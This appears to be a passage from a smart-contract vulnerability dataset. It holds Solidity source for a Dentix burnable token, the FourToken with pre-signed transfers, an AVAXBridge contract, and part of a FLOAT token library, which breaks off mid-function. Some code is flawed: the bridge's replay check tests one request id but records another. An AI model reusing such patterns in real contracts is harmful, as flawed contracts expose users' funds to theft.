NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1c4a279df3bc4d6bbaebec3a95f1d3c8bd2afe0b.sol
| 2,862 | 10,156 |
pragma solidity ^0.4.18;
// ==== Open Zeppelin library ===
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) pure external {
from_;
value_;
data_;
revert();
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
// ==== AALM Contracts ===
contract BurnableToken is StandardToken {
using SafeMath for uint256;
event Burn(address indexed from, uint256 amount);
event BurnRewardIncreased(address indexed from, uint256 value);
function() public payable {
if(msg.value > 0){
BurnRewardIncreased(msg.sender, msg.value);
}
}
function burnReward(uint256 _amount) public constant returns(uint256){
return this.balance.mul(_amount).div(totalSupply);
}
function burn(address _from, uint256 _amount) internal returns(bool){
require(balances[_from] >= _amount);
uint256 reward = burnReward(_amount);
assert(this.balance - reward > 0);
balances[_from] = balances[_from].sub(_amount);
totalSupply = totalSupply.sub(_amount);
_from.transfer(reward);
Burn(_from, _amount);
Transfer(_from, address(0), _amount);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
if((_to == address(this)) || (_to == 0)){
return burn(msg.sender, _value);
}else{
return super.transfer(_to, _value);
}
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if((_to == address(this)) || (_to == 0)){
var _allowance = allowed[_from][msg.sender];
allowed[_from][msg.sender] = _allowance.sub(_value);
return burn(_from, _value);
}else{
return super.transferFrom(_from, _to, _value);
}
}
}
contract DNTXToken is BurnableToken, MintableToken, HasNoContracts, HasNoTokens {
string public symbol = 'DNTX';
string public name = 'Dentix';
uint8 public constant decimals = 18;
address founder; //founder address to allow him transfer tokens while minting
function init(address _founder) onlyOwner public{
founder = _founder;
}
modifier canTransfer() {
require(mintingFinished || msg.sender == founder);
_;
}
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
return BurnableToken.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
return BurnableToken.transferFrom(_from, _to, _value);
}
}
| 212,594 | 10,843 |
35240a7b77ff5312b623ce9a49ec0934d71008a4c8371422235301b51edb1af6
| 19,685 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4730fb1463a6f1f44aeb45f6c5c422427f37f4d0.sol
| 3,803 | 13,997 |
pragma solidity ^0.4.17;
// File: contracts/helpers/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/helpers/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20Interface.sol
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
}
// File: contracts/token/BaseToken.sol
contract BaseToken is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/token/MintableToken.sol
contract MintableToken is BaseToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/token/CappedToken.sol
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
// File: contracts/helpers/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: contracts/token/PausableToken.sol
contract PausableToken is BaseToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/token/SignedTransferToken.sol
contract SignedTransferToken is BaseToken {
event TransferPreSigned(address indexed from,
address indexed to,
address indexed settler,
uint256 value,
uint256 fee);
event TransferPreSignedMany(address indexed from,
address indexed settler,
uint256 value,
uint256 fee);
// Mapping of already executed settlements for a given address
mapping(address => mapping(bytes32 => bool)) executedSettlements;
function transferPreSigned(address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s) public returns (bool) {
uint256 total = _value.add(_fee);
bytes32 calcHash = calculateHash(_from, _to, _value, _fee, _nonce);
require(_to != address(0));
require(isValidSignature(_from, calcHash, _v, _r, _s));
require(balances[_from] >= total);
require(!executedSettlements[_from][calcHash]);
executedSettlements[_from][calcHash] = true;
// Move tokens
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
// Move fee
balances[_from] = balances[_from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
Transfer(_from, msg.sender, _fee);
TransferPreSigned(_from, _to, msg.sender, _value, _fee);
return true;
}
function transferPreSignedBulk(address[] _from,
address[] _to,
uint256[] _values,
uint256[] _fees,
uint256[] _nonces,
uint8[] _v,
bytes32[] _r,
bytes32[] _s) public returns (bool) {
// Make sure all the arrays are of the same length
require(_from.length == _to.length &&
_to.length ==_values.length &&
_values.length == _fees.length &&
_fees.length == _nonces.length &&
_nonces.length == _v.length &&
_v.length == _r.length &&
_r.length == _s.length);
for(uint i; i < _from.length; i++) {
transferPreSigned(_from[i],
_to[i],
_values[i],
_fees[i],
_nonces[i],
_v[i],
_r[i],
_s[i]);
}
return true;
}
function transferPreSignedMany(address _from,
address[] _tos,
uint256[] _values,
uint256 _fee,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s) public returns (bool) {
require(_tos.length == _values.length);
uint256 total = getTotal(_tos, _values, _fee);
bytes32 calcHash = calculateManyHash(_from, _tos, _values, _fee, _nonce);
require(isValidSignature(_from, calcHash, _v, _r, _s));
require(balances[_from] >= total);
require(!executedSettlements[_from][calcHash]);
executedSettlements[_from][calcHash] = true;
// transfer to each recipient and take fee at the end
for(uint i; i < _tos.length; i++) {
// Move tokens
balances[_from] = balances[_from].sub(_values[i]);
balances[_tos[i]] = balances[_tos[i]].add(_values[i]);
Transfer(_from, _tos[i], _values[i]);
}
// Move fee
balances[_from] = balances[_from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
Transfer(_from, msg.sender, _fee);
TransferPreSignedMany(_from, msg.sender, total, _fee);
return true;
}
function getTotal(address[] _tos, uint256[] _values, uint256 _fee) private view returns (uint256) {
uint256 total = _fee;
for(uint i; i < _tos.length; i++) {
total = total.add(_values[i]); // sum of all the values + fee
require(_tos[i] != address(0)); // check that the recipient is a valid address
}
return total;
}
function calculateManyHash(address _from, address[] _tos, uint256[] _values, uint256 _fee, uint256 _nonce) public view returns (bytes32) {
return keccak256(uint256(1), address(this), _from, _tos, _values, _fee, _nonce);
}
function calculateHash(address _from, address _to, uint256 _value, uint256 _fee, uint256 _nonce) public view returns (bytes32) {
return keccak256(uint256(0), address(this), _from, _to, _value, _fee, _nonce);
}
function isValidSignature(address _signer, bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (bool) {
return _signer == ecrecover(keccak256("\x19Ethereum Signed Message:\n32", _hash),
_v,
_r,
_s);
}
function isTransactionAlreadySettled(address _from, bytes32 _calcHash) public view returns (bool) {
return executedSettlements[_from][_calcHash];
}
}
// File: contracts/token/PausableSignedTransferToken.sol
contract PausableSignedTransferToken is SignedTransferToken, PausableToken {
function transferPreSigned(address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s) public whenNotPaused returns (bool) {
return super.transferPreSigned(_from, _to, _value, _fee, _nonce, _v, _r, _s);
}
function transferPreSignedBulk(address[] _from,
address[] _to,
uint256[] _values,
uint256[] _fees,
uint256[] _nonces,
uint8[] _v,
bytes32[] _r,
bytes32[] _s) public whenNotPaused returns (bool) {
return super.transferPreSignedBulk(_from, _to, _values, _fees, _nonces, _v, _r, _s);
}
function transferPreSignedMany(address _from,
address[] _tos,
uint256[] _values,
uint256 _fee,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s) public whenNotPaused returns (bool) {
return super.transferPreSignedMany(_from, _tos, _values, _fee, _nonce, _v, _r, _s);
}
}
// File: contracts/FourToken.sol
contract FourToken is CappedToken, PausableSignedTransferToken {
string public name = 'The 4th Pillar Token';
string public symbol = 'FOUR';
uint256 public decimals = 18;
// Max supply of 400 million
uint256 public maxSupply = 400000000 * 10**decimals;
function FourToken()
CappedToken(maxSupply) public {
paused = true;
}
// @dev Recover any mistakenly sent ERC20 tokens to the Token address
function recoverERC20Tokens(address _erc20, uint256 _amount) public onlyOwner {
ERC20Interface(_erc20).transfer(msg.sender, _amount);
}
}
| 185,853 | 10,844 |
4ec7623a42e3f99dc0bb9c1fdf341e249842c7fffe5f5387b09c830f691dac89
| 21,970 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3d/3D24216410A768A568D979C2394A9E261A23aC0e_AVAXBridge.sol
| 2,961 | 10,838 |
pragma solidity ^0.8.6;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract AVAXBridge is Ownable{
address payable public Bridge;
uint256 public toll;
address public MMACADDRESS;
address public EmergencyAddress;
uint256 public PolytoBSCBridgeRequestCount;
mapping (uint256 => bool) public bscBridgeRequests;
uint256 public BSCtoPolyBridgeRequestCount;
mapping (uint256 => BridgeData) public bridgeRequests;
uint256 public deposits;
event BridgedBSCtoAVAX (uint256 _request, address indexed _user, uint256 _amount, uint256 _blocknumber);
event BridgedAVAXtoBSC (uint256 _request, address indexed _user, uint256 _amount, uint256 _blocknumber);
struct BridgeData {
address user;
uint256 balance;
bool status;
uint256 blockNumber;
}
constructor () {
MMACADDRESS = 0xdD33ef5704ADA19d254cb636B5A0A1bAd3936050;
EmergencyAddress = msg.sender;
toll = 100000000000000000;
Bridge = payable(0x7cE0E55703F12D03Eb53B918aD6B9EB80d188afB);
}
function setToll (uint256 _toll) public onlyEmergency {
toll = _toll;
}
function depositMMAC (uint256 _mmac) public onlyEmergency {
IERC20 _token = IERC20 (MMACADDRESS) ;
_token.transferFrom (msg.sender, address(this) , _mmac);
deposits += _mmac;
}
function BridgeMMAC (uint256 _mmac) public payable {
require (msg.value >= toll, "Please pay toll.");
PolytoBSCBridgeRequestCount++;
IERC20 _token = IERC20 (MMACADDRESS) ;
_token.transferFrom (msg.sender, address(this) , _mmac);
Bridge.transfer(msg.value);
deposits += _mmac;
bridgeRequests[PolytoBSCBridgeRequestCount].user = msg.sender;
bridgeRequests[PolytoBSCBridgeRequestCount].balance = _mmac;
bridgeRequests[PolytoBSCBridgeRequestCount].blockNumber = block.number;
emit BridgedAVAXtoBSC (PolytoBSCBridgeRequestCount, msg.sender, _mmac, block.number);
}
function getBridgeRequest(uint256 _bridgeRequest) public view returns(uint256, address, uint256, uint256){
return (_bridgeRequest, bridgeRequests[_bridgeRequest].user, bridgeRequests[_bridgeRequest].balance, bridgeRequests[_bridgeRequest].blockNumber);
}
function transferBridgedMMAC (uint256 bridgeRequest, address _address, uint256 _amount) public onlyBridge {
require (!bscBridgeRequests[bridgeRequest], "Already Processed");
BSCtoPolyBridgeRequestCount++;
bscBridgeRequests[ BSCtoPolyBridgeRequestCount ] = true;
IERC20 _token = IERC20 (MMACADDRESS) ;
_token.transfer (_address , _amount);
deposits -= _amount;
emit BridgedBSCtoAVAX (BSCtoPolyBridgeRequestCount, _address, _amount, block.number);
}
function sweepReflect() public onlyEmergency {
IERC20 _token = IERC20 (MMACADDRESS) ;
_token.transfer (msg.sender , _token.balanceOf(address(this)) - deposits);
}
function sweepAnyToken(address _address) public onlyEmergency {
IERC20 _token = IERC20 (_address) ;
_token.transfer (msg.sender , _token.balanceOf(address(this)));
}
function sweepAVAX () public payable onlyEmergency {
payable(msg.sender).transfer(address(this).balance);
}
function setBridge (address payable _address) public onlyEmergency {
Bridge = _address;
}
modifier onlyBridge() {
require(msg.sender == Bridge, "Bridge Only");
_;
}
modifier onlyEmergency() {
require(msg.sender == EmergencyAddress, "Emergency Only");
_;
}
}
| 79,496 | 10,845 |
d9f0621661dbb2fa291ba23ac87a21dd5761f86ea6d1de2982c940b2ebd85b85
| 29,232 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/FLOAT-0x2055b7dd7de299f56250b7a487ae663de37d9673.sol
| 3,394 | 12,610 |
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
